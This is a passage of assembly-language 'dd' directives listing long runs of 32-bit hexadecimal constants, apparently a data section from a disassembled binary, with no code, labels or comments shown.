0C18704Dh dd 8A0063E7h, 397EE60Bh, 154CBB45h, 2C9628A2h, 0ECA508Eh dd 68A807C4h, 7673C027h, 38AC59BBh, 497D9700h, 79157310h dd 0D2E50A51h, 0E8145A78h, 5995E040h, 49714C73h, 770CE30Eh dd 7A7D8567h, 4D02F85Dh, 883143AFh, 5E55044Ch, 467B0800h dd 47675EB2h, 7E443EB1h, 7D00223Fh, 5A87FE6h, 34984B40h dd 4D62493Fh, 281E7400h dd 0B901234Ah, 29734C80h, 0EAC9820h, 0EB17F20Ch, 939D41EFh dd 0A8400F03h, 4E9728F8h, 265AE63Ch, 2640201Ah, 190E730Bh dd 8F94FE7h, 230DE14Dh, 0D5347674h, 6010914Bh, 26FCAF04h dd 307C48h, 59AB517Bh, 0B2FB5650h, 0B4374D90h, 58201089h dd 4D27FC26h, 545858h, 60825BCh, 3CA86740h, 0E300B90Eh dd 376351D2h, 4B1DF128h, 4D0059FEh, 7EB5058Ah, 0D41E74E4h dd 4098C10h, 0B001D286h, 0F24C0BF2h, 527570C0h, 8379FC98h dd 0A4293724h, 0F10AE606h, 4D053310h, 86FC3360h, 513058ACh dd 0AC2688F2h, 52740331h, 537A1A37h, 9EE6D2A1h, 4F0E3430h dd 0E40790F1h, 8C53E759h, 281FF2A1h, 95C055B6h, 9351A83Eh dd 32611D77h, 0F504A9E0h, 0FC988258h, 0AD370196h, 0B236C03Eh dd 0AC71E04Dh, 309B341Dh, 4FD63300h, 7C04E99h, 8E49A83Dh dd 8088473Ch, 9B3B8314h, 72FC717Ch, 3F0042E4h, 92AE3098h dd 0DE7F4395h, 406CC060h, 25603D88h, 49F29778h, 414D9507h dd 0ACC07048h, 0FA388292h, 36960352h, 439B4AAEh, 377233C0h dd 7F34851Ch, 46606C94h, 82A0BE04h, 811D4DC8h, 0BB12A74Ch dd 9649AC00h, 1F4F423Ch, 3AB42972h, 0C784D75h, 927F3380h dd 7E7C418Bh, 483C8C3Ah, 797874D8h, 20DF42F8h, 0D2122912h dd 9B0081Fh, 489347A8h, 0A9A3E43Ch, 0AB00507Bh, 864B9D48h dd 0E778C49h, 4C94DA41h, 699B1B9Eh, 444236E0h, 4DA9D0F9h dd 47E8C072h, 2C3D7129h, 873C0F49h, 0AEF09B35h, 3E4E7251h dd 0F8613A41h, 0D3368192h, 7E4D8BF0h, 80D63431h, 18499AD4h dd 5CD15021h, 0E4BF3836h, 0BE047Ah, 0A488B625h, 1E4DA816h dd 5A9377Fh, 2C7E398Eh, 34533E1Ch, 42B9A118h, 5AEC860h dd 0AC3C8DEDh, 0C0683B3Eh, 97D37F22h, 4EAD2C4Ch, 0E2AB05D8h dd 4964C071h, 852A3C94h, 1269184Dh, 50FC88C9h, 0D210C080h dd 2E1CBFE9h, 822034A8h, 0A6289840h, 9A3C38E0h, 31723E0Eh dd 36978279h, 0E878E4ACh, 0AB430E9Ch, 62809B40h, 9E4D9AEFh dd 288E4817h, 8F96800Bh, 2F8C034Eh, 3097B083h, 90465C78h dd 0B6E2A20Eh, 3909E8Fh, 298D92A8h, 7E2103ABh, 83438C3Ah dd 0AD284197h, 0CA807548h, 3206C85Bh, 176841B5h, 5C71291h dd 0D48530E0h, 89342EE8h, 8CEC61A1h, 608FC9E1h, 6854AA50h dd 35A102BEh, 859B33ADh, 0A80034F4h, 30B84D79h, 0F04E50ACh dd 8FF21D42h, 71EE0008h, 0C034AD44h, 496EA9FCh, 4D88C021h dd 0E88151A7h, 71C8A0AAh, 904A65ADh, 4FC8077Dh, 16E0427Eh dd 38868070h, 0D3F810A5h, 0A8300D8Bh, 0F0E8913Eh, 28C33297h dd 0A1CB219Fh, 1C2143BBh, 4AB4DC00h, 20356197h, 20AE399Bh dd 49E83226h, 0B379527h, 52E0B9B8h, 8F12C452h, 138C9580h dd 0F89871CAh, 48AB1F3Fh, 0D8D11B9Ch, 0D133883Bh, 12C0D0DCh dd 0D80ED0A2h, 1300468Fh, 2A8147A6h, 21F00498h, 427F80A0h dd 0FA1486E4h, 7AB07854h, 71F08250h, 9E48AA06h, 3CD0A236h dd 677B833Dh, 5F932878h, 2ADE919h, 98589242h, 96625DDCh dd 4430B060h, 1C92869Bh, 0FD71493Ch, 36704209h, 0F44E08ABh dd 0FC644C69h, 133890AFh, 0C34EAB4Ch, 2FE35230h, 0F18C34C1h dd 14E89282h, 12F05010h, 188B4DACh, 0B480B4FEh, 0FDB44D9Eh dd 4CB6DC30h, 3E4CA4DFh, 3387793Eh, 0D0717AAAh, 4D0FD6Dh dd 7595171Dh, 401F9BC0h, 60B9E1h, 0A7D4705h, 0F73D615Fh dd 9AD6D206h, 68BBE7h, 0D3D1588Ch, 76DA9278h, 0A980FC60h dd 0C042897Ah, 8FF6D458h, 0B7F8C602h, 0BA1B100Fh, 79D9C0A3h dd 0A51FD6Ch, 22901FADh, 25147820h, 20A97E8Ch, 31D7279h dd 7198AA52h, 1521CA11h, 84607C28h, 46EEC80Fh, 4527B098h dd 63DDA201h, 0CAD3519Ah, 0FCC09848h, 76D90019h, 5F2F3D4Eh dd 0ECE83E1Eh, 40BE21CFh, 5344A419h, 0B7E428AAh, 0DA662284h dd 0D8488B0Fh, 2F5A20F6h, 184DE030h, 9090E288h, 49C0DFABh dd 0C323E573h, 1C5F0D03h, 0C76A954h, 0F981921Ch, 6E448h dd 16A68C96h, 0CDA30530h, 6099DA29h, 7B18E359h, 9091D600h dd 990D138Ah, 0A89D184Fh, 5DE9698Eh, 633AB400h, 0EAF26543h dd 0BEFA003Ch, 0E7F62373h, 1028CBB0h, 0D0E6A09Eh, 5CAA271Eh dd 0A6D52185h, 1908887Bh, 477E0458h, 82F43DBAh, 896A9C4Dh dd 3F044087h, 796D04E1h, 80BADD92h, 91328050h, 4955A930h dd 1210C41h, 0DBD70B1Bh, 0A1EFE25Dh, 98008808h, 0B9B020D3h dd 0B1F260CAh, 951F7872h, 5DCE430Fh, 0F6FF80F9h, 0FBA79Fh dd 6DCD3E7Fh, 0A44D27CFh, 0D272E215h, 21BCEC8Ch, 0A5F903D2h dd 0D4C81422h, 0D81926C0h, 3E462176h, 0BD00EA91h, 0A6BB192Eh dd 0BC061895h, 1B2A57C8h, 1E810041h, 0E735B2E2h, 320A2D8Fh dd 0B8602963h, 0D3622B01h, 918F5317h, 0A9E0D071h, 0FC8EB5C8h dd 8CC9DEEh, 3D12215Ah, 20063C9h, 0FE4BFD7Eh, 0E13C07DCh dd 3825A6ECh, 0DCBEDF0Ah, 0B609044h, 0EFE61A21h, 0A176448Ch dd 0F30020F2h, 0F2F41B9Bh, 3FD54412h, 45004764h, 1F9CC083h dd 8C098207h, 50B19F6h, 0AC096B5Fh, 10789561h, 8C23CA62h dd 0E1C0A59Eh, 0C6FCB73Ch, 0A80C2845h, 2DF4688h, 0C8A563BCh dd 106C3195h, 563D51Eh, 0A88CF222h, 77C847FDh, 9017B605h dd 10A40290h, 0BDD76CA0h, 245560Ch, 7EDD90E2h, 0F0D89969h dd 0C78FFD53h, 5C8853h, 0FC9F5F50h, 16ECD6FAh, 29A01F67h dd 229DA01Ah, 6517C880h, 19296F6h, 70C0EB81h, 10A8A293h dd 6FC351h, 925D401Ch, 63E1193Dh, 86D5790Ch, 3A235084h dd 0E4509AAEh, 0DDC0A191h, 6308B618h, 0C4A5C8A3h, 0CF1C4065h dd 0F54763h, 69BD0AFDh, 29CE5A31h, 0C6D8121Ch, 2CF78C80h dd 500EF3C7h, 187BA8F8h, 0F937D16Bh, 0C960C5DEh, 2972A918h dd 6508045h, 3E25A20h, 0EC90FB7h, 290ADD02h, 0AC94D97Ah dd 1ADEC806h, 7B700C29h, 2E18643Dh, 94152B2Ah, 0A4F46500h dd 5859787Dh, 907700D3h, 2C4FD029h, 0A7014825h, 0D4642A79h dd 0F460E1FBh, 99C938Fh, 780420DAh, 909C98E7h, 0E1A288h dd 774F5820h, 6EAB8673h, 0EEC91406h, 98ECB2h, 16FC1EB1h dd 6CAF738h, 0D9C2F3F8h, 0C989FD4Ah, 0B0F9D6C0h, 7AA51882h dd 0A80370B4h, 697B87h, 0E5430509h, 0C9CC883Ch, 0FCC5D500h dd 32B53EF1h, 0B1FE0047h, 0CDF852C6h, 0EB055B35h, 8AAEDD76h dd 15A1F428h, 90240656h, 4021B21Fh, 0E2708AAAh, 0FA49BBD5h dd 95CA0398h, 10AEC893h, 3F9C2A0h, 0BF0D04D9h, 8A58041Bh dd 14C229Dh, 0A64BCA9Eh, 0DE686050h, 38E3638Eh, 590AF6C9h dd 0D04CF22Bh, 0F5423D03h, 1B806A2h, 0F189A9A3h, 8416EA00h dd 0B0E23B0h, 1DFD00C3h, 27D75D9Dh, 31F45778h, 6B1BC1C1h dd 1C204329h, 32AEF818h, 9A9073A6h, 0E7E4E465h, 0DB819160h dd 4C58B900h, 6BC3DD40h, 998A60A9h, 0AE45F59Eh, 808D5005h dd 0AC312402h, 4AF403B4h, 4F660117h, 12D4E15Ah, 1C944118h dd 8F5E7FEh, 1AC0C84Ch, 46770C19h, 0ED2226h, 0CC1922A1h dd 0A9A094E8h, 41E96A12h, 1423A028h, 0BC8B5173h, 3E28A840h dd 20404A76h, 84A98D26h, 9C92AA44h, 20BC44D8h, 9F083871h dd 2FE4EE3h, 8AE4AEF0h, 1EA9F4A3h, 9CD8A7E3h, 3F64BD72h dd 0EC8CC630h, 55744A27h, 0AF216820h, 0FCF9984Dh, 0D4738980h dd 0B744D630h, 10EC8948h, 44426A19h, 6416EF0Ch, 2F009B59h dd 78041507h, 0E89EF0h, 0C2EFCB6Fh, 0D14EE13h, 23B471Dh dd 49C8D0Bh, 1B61C7E4h dd 2E77F819h, 0A2E8448Ch, 47192300h, 0B6E38141h, 8F0C14AEh dd 77A0E01Ah, 20607B0Dh, 1AE0618h, 2880817Ch, 84B2800Ch dd 1D95F0E4h, 0FCD9E82Dh, 7D412200h, 0B22C9CA1h, 0C47C74E4h dd 3927B101h, 491851B5h, 417FE987h, 37EAD1CFh, 0E857C9D9h dd 0A0A0A76Bh, 4B7E6CADh, 0DD777B09h, 7FF0256Eh, 7AC8D4CBh dd 0B76EFBC0h, 0FFE71394h, 1EA03071h, 6D88312Ah, 5F48016Bh dd 6C8A7B4h, 50C2C6Eh, 0F3C2980Ch, 80A91682h, 0C464F67Ch dd 8AEC9Dh, 0F0AB35D4h, 3D1EDDA5h, 1340A40Fh, 0A8780A12h dd 74232C1h, 39EA44Ch, 4E8AC06h, 1AB9DDA2h, 72BC5772h dd 0E0014B4Ah, 7EFD3E69h, 0B4101FF3h, 940589A9h, 98536448h dd 0A0E9F200h, 6A06D7F0h, 8BC99ECh, 56065E6Dh, 98E92EE2h dd 289101B8h, 0F7DD7309h, 0ABAC482Dh, 20D6028Ch, 0DC470B25h dd 9E408051h, 2CD720DDh, 45CB805h, 0FFB36D6h, 26D183F7h dd 1EC83A18h, 0AE5C8CC0h, 0ECD7855Ch, 2219AEC6h, 1724D1B2h dd 0E5800C55h, 8384F9B3h, 7F0601BDh, 1413D2FBh, 7E443622h dd 3B48CA01h, 0AF6ABC0Eh, 0ECBC6828h, 17A9248Ch, 0FFE44048h dd 40036BD4h, 854B57ADh, 1C37C88Ch, 769E190Bh, 63057880h dd 4192C0Ch, 9EEEC8C0h, 795080B0h, 535C19EAh, 131F10D4h dd 36AE2472h, 5D178C08h, 0CE0B8079h, 38CC594Ch, 442A3160h dd 753FFB14h, 1BBB80DEh, 70F89827h, 0A5AD3C6Eh, 0CCC8C91Fh dd 1AB152EAh, 0FF78D00h, 95B6AA31h, 68D54CD7h, 6C85F508h dd 48A34D50h, 79C14C0Bh, 4192F305h, 8153CE58h, 0F63DA2F9h dd 54228082h, 0D817611h, 187D5E9Eh, 9BEC5859h, 926D226Ah dd 4814DB00h, 7249AB2Ah, 2E7F4AD8h, 37523E0h, 58ABC20Ah dd 49A67898h, 5CE12815h, 9B8C82CCh, 18F4A4CEh, 76FD8C8h dd 4C698F42h, 0A75FE1F4h, 36DD31CFh, 429B0430h, 8D6460A9h dd 0D0D060F8h, 8C052284h, 0D6DEF610h, 0F4E11DA1h, 8CA0621Ah dd 2001747h, 7E29A9BFh, 4F8F1C6h, 0A46CF983h, 7914CC19h dd 0CCBED53Ch, 0D4B1A0BCh, 2C24924Eh, 74FC531Ch, 4106ED46h dd 0C0AF4EAEh, 86C3120h, 0C086D680h, 100B1250h, 5773E96h dd 0B18D3180h, 5417B088h, 598C56h, 4454114Fh, 0AF016380h dd 0A797000h, 0A7D2E331h, 0E9CD00CBh, 0DDC5297Eh, 7898918Dh dd 0A87DE224h, 0AD088452h, 2720D860h, 0DC370B12h, 0A400E8CAh dd 5B7520DFh, 9600933Dh, 0B6B398AFh, 2E429C48h, 50203F99h dd 0F3503DB2h, 0F0F30BA0h, 18C7BF06h, 6386F552h, 0A5580C59h dd 7FA07662h, 34D6D106h, 19F0C4D5h, 2995DDF5h, 257020D2h dd 48CC395Dh, 76AA0AF0h, 0ED04E416h, 0D10115A6h, 400326B2h dd 1C06F5A2h, 0A7E03D3Dh, 0AC400FEh, 0A85D6EA6h, 41BAED88h dd 7AF6F084h, 84B86848h, 830025A6h, 0EE49349Bh, 0C0C0FCF2h dd 957053Ch, 0C4408223h, 0B06B9B1h, 0A70D04F2h, 0A9E73C39h dd 982AED25h, 8D4674C0h, 85ADF3Bh, 24C0CE94h, 4A76D619h dd 0BB3C2C36h, 79192C0Bh, 3675807Dh, 3006CB60h, 0A3C0EBE2h dd 40509542h, 0AE3D51A4h, 0FB051629h, 3E80845Dh, 9BC921E7h dd 52FA1A1Fh, 0A8497830h, 0E5730072h, 6CC54F3Dh, 1C8A948Ch dd 57881020h, 0BAC8C704h, 2E0E624Eh, 1F1068E4h, 5C689E2Ch dd 0A2005946h, 0E5A19EB2h, 8A092ECBh, 4558057Bh, 8761304h dd 0A90329C0h, 0C88A0D71h, 4AED6A9Ch, 81487442h, 594F158h dd 0FB77460h, 0A6E11232h, 4AB4470Eh, 0F93FA33Bh, 4627D2B1h dd 3106A1ABh, 0A90E9B84h, 5A510011h, 41450944h, 3048FE42h dd 836D106Ch, 5DDFF50Dh, 23ACE429h, 988AE63Dh, 3D686942h dd 0C00D7B52h, 0FC8DF921h, 39069BB9h, 0CB16EEC9h, 4AA507A0h dd 0F1B568F0h, 34FA0E48h, 7809E040h, 0B287A305h, 11349774h dd 603181ECh, 0D06144C0h, 0EF233400h, 0D8AA4C6Fh, 0D848EA58h dd 635D6A60h, 82557B27h, 0BC583C80h, 7F028C58h, 2B567D75h dd 0D954E0EAh, 4498A28Dh, 64470098h, 0D2CCB86Ah, 0DB693AD6h dd 0DC280280h, 302A239Ah, 0DF02E97Ah, 999C3735h, 644233h dd 0DE56E028h, 3C29CF43h, 0E42A2304h, 0AA729274h, 0ABA9D001h dd 0BBB15D7Dh, 211A0898h, 920291E4h, 0B98419E1h, 0DDBC41BCh dd 0D458E03Dh, 84B6B022h, 7EB465Eh, 0D6CAB18Fh, 6FBC6089h dd 44C1207Bh, 0A40229D3h, 2DF9206h, 66607450h, 560CFC64h dd 28FB65DDh, 0BC7D5927h, 2EDDA85h, 6C65B528h, 0A986A818h dd 0DCC49DA0h, 98DAFEC1h, 2C0E76BAh, 0AC4DB8Ch, 64A0775Fh dd 729B4131h, 0C4226301h, 4AE4D6C1h, 0A8B01030h, 0AAF502BDh dd 6C91056Ah, 96ACE03Ah, 30948C07h, 0B2F1004Eh, 2C7493C6h dd 150052C7h, 0A78EDC20h, 0B3A9CF42h, 0F1101531h, 890E928Eh dd 0C076F967h, 855960E7h, 60D5EEE9h, 0B183A9AEh, 0C62519F1h dd 5BAC22CAh, 9A50C0F5h, 9D47005Ah, 1218C46Ch, 93F371Ah dd 8D0E0A83h, 5F40A89Ch, 28631CFh, 4AD02824h, 84450FCh dd 180BD246h, 770ADA19h, 40EEC4C4h, 0DB19209Fh, 0E7B23C0Bh dd 0E61AB0CCh, 4079A888h, 6189379h, 90ABB212h, 0C2D4D008h dd 0EC4163CFh, 22D026CDh, 5137D6Dh, 0E50EE63h, 0F978B0E6h dd 3910FCF9h, 17A2052Fh, 80799124h, 2661FBD3h, 9D590B2Ch dd 242554A2h, 817400DDh, 0FAD4D6BDh, 82102361h, 0CE205EE2h dd 0EEB875C1h, 55D70C6Ah, 67385228h, 0A608758h, 0A4E1B18Ch dd 0D2088CB8h, 4881650h, 0DED57980h, 0FA10A41Bh, 496C7F48h dd 0B829BC94h, 904D7A48h, 418B0573h, 82F45690h, 0E059EDBFh dd 8206FF09h, 0F96AE0h, 0E0563BA3h, 5276F61Ah, 0A278C0F8h dd 10F0A420h, 961D198h, 0A63C592Bh, 6A14AACh, 5EDD72B2h dd 0D10FF090h, 56656AB7h, 0D51E78D0h, 0AAF48EC4h, 16A5AF38h dd 2CC4B825h, 0D04C7CCEh, 0E6801F4Bh, 52C603FCh, 5BA3099Ch dd 306BCDEAh, 18BC2E93h, 2A0568F0h, 6C08F0Dh, 0B04527C7h dd 0F55998D0h, 0DC2F5BBCh, 4E005923h, 54404970h, 3F0203D1h dd 0C96ED019h, 2AC949Ch, 78281BC0h, 5E8A852h, 6A855099h dd 0FC8944C9h, 0CFE98C09h, 94FBE450h, 0EA021C5Eh, 1430139h dd 0D4F9AEF4h, 7640089Dh, 10924CE6h, 2ACB2681h, 4268B93Dh dd 15738905h, 0E0D8F56Bh, 66501143h, 73101B08h, 9840611Dh dd 5389069h, 0F37976DCh, 68F001C5h, 44C12EDEh, 0BAF827C4h dd 63A1CF98h, 78ADC8A6h, 0D41FB0B4h, 62C90363h, 1445A35Bh dd 81411090h, 0CC72DE16h, 0AC59B492h, 8CE160ECh, 0A763BA05h dd 0A4F2C5C8h, 63D310C0h, 0CC99888Dh, 79623B80h, 4FA4F27h dd 22FE0B18h, 90688281h, 0F91E54C0h, 4750B282h, 60654440h dd 24D91E3Bh, 0FC19537h, 66596E2h, 0A37CD0E6h, 8912C707h dd 0C5D8AADh, 0CAE33F40h, 0C0BC6501h, 0B7FEF2F8h, 0F77DD1FCh dd 0D7A20400h, 5E7E6A8Dh, 0AC8A026h, 7DD22DF6h, 0AD8CC0A1h dd 571711EBh, 829C9180h, 0F069A7BEh, 2D9D8D0Fh, 42B1EE59h dd 0E899E3BFh, 4D9048DCh, 0D123FC7Fh, 0D5041913h, 2CD81E77h dd 21A088E9h, 0C9A91900h, 423F8B7Bh, 85C4891h, 0A04DA83Ch dd 44087C00h, 52262BC2h, 4FE80D77h, 4C147D24h, 91D0172Fh dd 0A8D38A6Dh, 2F7F208h, 7F8B4550h, 0D7581845h, 80CCB976h dd 0CE4E9D13h, 8B014FB2h, 2239F789h, 1023B82Fh, 0CC40FB00h dd 0BDE14D4Ah, 19D2A901h, 0E4DCF4B8h, 0C44E8C28h, 0D938D8F2h dd 0B282009h, 9774C53Fh, 7A1701A3h, 0C4418743h, 0A61CCFACh dd 4AC61580h, 0A0E06A71h dd 91F40E58h, 48CC0494h, 78DA57B7h, 45973D80h, 4C091BABh dd 0D1B86Fh, 16796A48h, 1353741Dh, 2030DF05h, 1EF89EF8h dd 0EC19297Ah, 1C187CBAh, 905842ECh, 0A88F1848h, 3EF6D164h dd 5F10FA04h, 0F8D8A71Bh, 24F449C9h, 0D980743Ah, 0F233F76h dd 8E4C6217h, 0FB4C0085h, 396329B3h, 0C89187h, 55A17950h dd 6E5876A5h, 0A98689C4h, 625482E8h, 70840980h, 20B0CDE3h dd 49C06AEEh, 953CB15Eh, 4C6D31Eh, 2EB2E2Ch, 0A1527A27h dd 132B2190h, 0C34B4180h, 0B7BB1EE3h, 0B9D2AF00h, 0FF2CE7A9h dd 6A86126Dh, 8828CE3Ch, 574CC06Dh, 0EC926ADCh, 71E69E11h dd 0D6D05032h, 5C9B18D0h, 99282A0Ch, 24A90A3Eh, 9E943Dh dd 5DEAE50Eh, 87286559h, 7E20CCD5h, 40DEFE77h, 0B7C2276h dd 0E802E4Dh, 6221CAAAh, 898DE142h, 51587190h, 41110C7Ah dd 20686C5Fh, 96060983h, 4479B3DBh, 0F4986093h, 4EFA81EDh dd 0EDD02520h, 60ECC464h, 0EFED7749h, 6838CC75h, 0C09CDA4Bh dd 262E80BAh, 13221FFFh, 9F40820Dh, 4F0C6E3h, 270034A4h dd 0FAAAC84Dh, 0B84CBE1Ch, 5FCD2160h, 1609BECEh, 41E410F8h dd 9F09073h, 0D5AE0721h, 299004C0h, 0D11458B4h, 49E210E8h dd 0B391F90Fh, 4EDD3D23h, 174E159h, 295EA951h, 405E215Dh dd 82E52610h, 5B63908h, 5854B21Dh, 0CC425E2Ch, 0E18C7260h dd 0BC208BEEh, 0EC72E7B2h, 0DED51002h, 0F042B142h, 8A7A6E60h dd 9EFA3D02h, 0B2E46EE3h, 89B46094h, 1C7C808Ah, 0D800989Ah dd 6042FB6Bh, 64ED7B6Fh, 0E2502086h, 0DBC61010h, 962FB850h dd 21A667ACh, 0E8BA9BCh, 92ADF000h, 80EF3C2Ch, 0F30BDC00h dd 17850F96h, 2261C06Eh, 0B7FC5451h, 58342800h, 60BCA6E8h dd 0FE5B0ECCh, 0EC629EACh, 0A8E65746h, 5D4AA908h, 0D6D10258h dd 20D9D4A3h, 0CC233809h, 4DE81EF8h, 853447A4h, 0D8E8CB55h dd 0F81DD860h, 585416Ah, 0AC147F40h, 507C2828h, 4CB5A819h dd 47101D51h, 1800C90Ch, 8EBC0A5Bh, 52D34CF5h, 8861B8D6h dd 123191DCh, 504E2713h, 0B9182079h, 165B1D00h, 88A6DC3Eh dd 8B5E2671h, 6BBD0998h, 0A7DDBC49h, 11441DD8h, 0CED6801Fh dd 98842C55h, 71B226BCh, 0D2A300E4h, 2ED4F8E2h, 0BA7F0C9Ah dd 1614DF58h, 0F021CC5Ah, 788B5E08h, 549D80C5h, 5080E891h dd 0DFD2CFAEh, 94D4F424h, 0E8871545h, 0B91870F9h, 809F9C64h dd 27D06629h, 0FB0C5880h, 848887Dh, 200C6011h, 1FD07ED7h dd 0DD9B1A00h, 0AC8980B9h, 0C7C0156h, 0D4DA61A9h, 0E009D191h dd 4A002AFFh, 35251678h, 0CC3D1E08h, 50218208h, 154A1200h dd 0A62AE865h, 0FA0A00AEh, 63CBDA43h, 46061603h, 7637C7E3h dd 0D59F0030h, 0EB22E787h, 0AB1C9278h, 2AC01AEFh, 25CED350h dd 170500CCh, 0AF887E22h, 5B01D565h, 4EC2444h, 0EF1D914h dd 945080F6h, 7B642CEh, 0C12AFC1Bh, 7E835F9Dh, 71006237h dd 46C3DF41h, 19E805F8h, 8D5E09Ch, 3F218068h, 5874C3E7h dd 0E2C6006Fh, 1E7FD95Bh, 0BD3BA4B6h, 0C7DE0059h, 0DA21680Bh dd 8876149Dh, 903A40Eh, 2E201BB5h, 94F81800h, 1684FB37h dd 0CFD3F8B1h, 0BC159891h, 6413BF00h, 37045F1Ch, 30601118h dd 775449h, 2D9BEAC4h, 4A0BACEFh, 0D7700500h, 631A5753h dd 147EF656h, 0D45D959Eh, 24C0E488h, 4616664Ah, 3B92215h dd 8A4A2C5Ah, 0CF0F93h, 0BE7E95C0h, 7359EB00h, 40FC160Ch dd 0B3B0A03Ch, 8A4D1824h, 3561C8F5h, 0B01F80h, 0E3112F4Fh dd 0A994A0Ch, 4129D9CEh, 508024D0h, 27223826h, 0D079D400h dd 2454E918h, 0E80E09CCh, 3C037E23h, 804030BBh, 0E08B44F0h dd 0A16D0FB1h, 31B22A4Ch, 7A304178h, 802B11D0h, 80108878h dd 0D7D072CBh, 113F3C23h, 0CFFC5EC1h, 9EB34200h, 60AC29C6h dd 898C310Fh, 88AC74C5h, 4A2BC0DBh, 2D46167Bh, 511C8322h dd 68C04A13h, 0A30ADFEDh, 0E85601DDh, 19A47840h, 0C716C48Bh dd 0A4766B2Ah, 25483E8h, 5C3292FCh, 3F72886h, 22B91F7Ch dd 12F89167h, 0BC79C41Dh, 10E05B18h, 13288182h, 4F029077h dd 0AFDF881Fh, 15104CF4h, 8417E294h, 63B18206h, 0F60A3060h dd 0B40B88CCh, 3709002Bh, 4B88206Dh, 0AA2FF8h, 0BD4E5B95h dd 6234B787h, 0FA1EE7E2h, 0B4C3926Ch, 51499E2h, 0A4E3E661h dd 8CA582F6h, 2A428CA0h, 767B1E15h, 0AAEBA903h, 0B06A8BE3h dd 0F85469A4h, 1B7509D9h, 4042879h, 0C86C8F85h, 8A0EC08Ch dd 8B09EE14h, 70FE863h, 0A1BD98C8h, 715FE0h, 166D3FA0h dd 902CC303h, 0F329FA00h, 0D194F419h, 12DC90F1h, 11139F2Ah dd 0EC05D090h, 84D3A27Ah, 8DCAC160h, 2108985Ch, 76414221h dd 576800A2h, 0A92F60CBh, 6C65BC06h, 0B440783Ch, 64D28DF7h dd 887C3ECAh, 180F8C1Ah, 0E646E894h, 644A2602h, 7C940516h dd 4A2E5C00h, 32467DD0h, 2CC1488Ah, 8FC0322h, 0BFF058F5h dd 0B00E010Ch, 84190h, 0DAE974FCh, 1A1DE87Eh, 9C206C28h dd 1FC841E1h, 1AC0225Dh, 84B01030h, 0BD417F94h, 0DE3643E0h dd 184F0869h, 23D07364h, 26114880h, 0D07CC900h, 6FEFFD8Ah dd 0EC3DCB05h, 886636BFh, 9D481260h, 0D490619Fh, 27C18088h dd 2482A576h, 1DEC03D6h, 7A5AC694h, 301AB026h, 0A44BB943h dd 4077A014h, 0B11138E3h, 0FA044213h, 8A806D8Ch, 43C42D4h dd 27AC0BE3h, 883FF4C8h, 6A023E85h, 7DB7399Ch, 8280A08h dd 2E44FC6Fh, 0DEA24560h, 11A4B523h, 4C4F0024h, 8A9A72A2h dd 7D470284h, 0EA5CECF0h, 7CDED480h, 0E036C408h, 669C10EEh dd 916B70CFh, 24F93772h, 8A3076E4h, 0BEC4590Dh, 0A26615E0h dd 4023D8A4h, 2AD07B01h, 0A4336080h, 0D073CA80h, 0E018298h dd 344A3C2Eh, 3020866Ch, 86940D7h, 0B609218h, 3A1871h dd 0E006CAEFh, 0A294E646h, 3449FC06h, 35A1651Ah, 610399h dd 4224754Bh, 1B076CF0h, 0F409FAC4h, 3C803604h, 72020DD0h dd 0E1C0A094h, 0F58C20BCh, 0FC227490h, 4444A731h, 5127601Dh dd 5F0100BEh, 0E4A9AA14h, 9B118D0Eh, 40010961h, 0C99856CEh dd 0F738873Eh, 8A108085h, 5465DB81h, 4494B873h, 9E60D53Bh dd 0D3CF5D41h, 1B483029h, 7C4DEA30h, 884C9588h, 89486C37h dd 410851B0h, 0C5E496B0h, 60804318h, 59228D83h, 461890F6h dd 4A2716E7h, 0B10D1C09h, 5D108D18h, 0EB014A2Fh, 9980AAC8h dd 0B8857FB7h, 0C172FABDh, 3556A0h, 2437D989h, 12309264h dd 0C46860C8h, 4E00CE95h, 0A58F647Dh, 3FE29380h, 8BAAC9BCh dd 0D5FD22C8h, 84A40E7Ah, 0F0203C98h, 6AD79027h, 311C1992h dd 55CD3F8h, 3CD8701Eh, 899F79F9h, 855E1088h, 8EC501A5h dd 37F7ADA8h, 0B5282474h, 9CBD7A0Fh, 34CD00ACh, 32F91F07h dd 6E60A9F2h, 9170972Bh, 0C39B80B8h, 1725248h, 886387D1h dd 2028FC13h, 0BC163048h, 0E05C90BDh, 17C8EC84h, 409B98C8h dd 115D235Fh, 45D4BD60h, 46620370h, 0BC0BC478h, 177092FDh dd 8A9BF120h, 0B51200AEh, 645AFB41h, 3FB8BD10h, 49FAC909h dd 0C0F8822Dh, 992000E2h, 907AD7h, 0F1E0BE50h, 48AAEA44h dd 7245478h, 0D9F81ECh, 89407C10h, 8BC18548h, 0ED18A630h dd 0A18C3B50h, 67D8397h, 80D292E4h, 0D090C43Bh, 58050984h dd 84DA118Ch, 46812038h, 102A04A6h, 913761h, 27C1EFC8h dd 9C0CCE40h, 0F13F0EEDh, 762085E7h, 2647F6C6h, 0ACC8201h dd 0F58188B7h, 12B4A424h, 82DF4F3h, 0CCA0B24Ch, 4F217D67h dd 0AFA8C9FFh, 141636A0h dd 14052513h, 0B830C7D9h, 0C3155E2h, 0EF4FCDDh, 5471D5D8h dd 0BEAA6901h, 34B4CC25h, 4A32FC48h, 916C014Bh, 4C13E482h dd 78C8C12Ch, 0E8B6C217h, 0BC638320h, 561801Dh, 4C203466h dd 0F623141h, 82E9C710h, 7C1BB131h, 11E04137h, 41DBCC30h dd 0C7045474h, 78C0C844h, 43B5D1A2h, 4F4C805Ch, 142FEEA2h dd 2035D1C0h, 68C38B8h, 90138B11h, 0A898C801h, 0B88F520h dd 7AEB378Dh, 7E5C9682h, 807154C8h, 0E7CD806h, 0B1484283h dd 18B8D98Ch, 0B2190278h, 7B7017C0h, 0AF085BC0h, 0B8E5615h dd 814C488Ch, 1460C6BDh, 0A0EAA842h, 3B102C0h, 3628C55Bh dd 81A888FAh, 32370F44h, 8519601Fh, 950804C5h, 0E080A075h dd 0F8028211h, 3701FCB6h, 4183771Ch, 0BF890A01h, 0F2549951h dd 3186E824h, 0D95C9148h, 3F891C86h, 90F0DF99h, 44C44894h dd 0A891F925h, 865184Eh, 708028D0h, 0C84F13C4h, 0BA30D040h dd 0F812D536h, 0E40B0524h, 8BB898AAh, 408243h, 37882154h dd 0D96C611Ah, 0F1870E2Fh, 0C888622Bh, 0DE8C8336h, 0F0A460E6h dd 0B13EB34h, 7C4F3814h, 2217304Ch, 8E42181h, 88684BA1h dd 1D92C010h, 0BB243A2Ch, 0B408BC96h, 35048923h, 86406494h dd 0C9D0188Bh, 89804965h, 8841D730h, 1C35E412h, 447E24A2h dd 0CA2979F0h, 872620A8h, 0E71A8820h, 0F7B180C1h, 7C3602D6h dd 581A4AEh, 301C7860h, 1091AA7Ch, 60198379h, 0A000BA9Eh dd 3B6E8E0h, 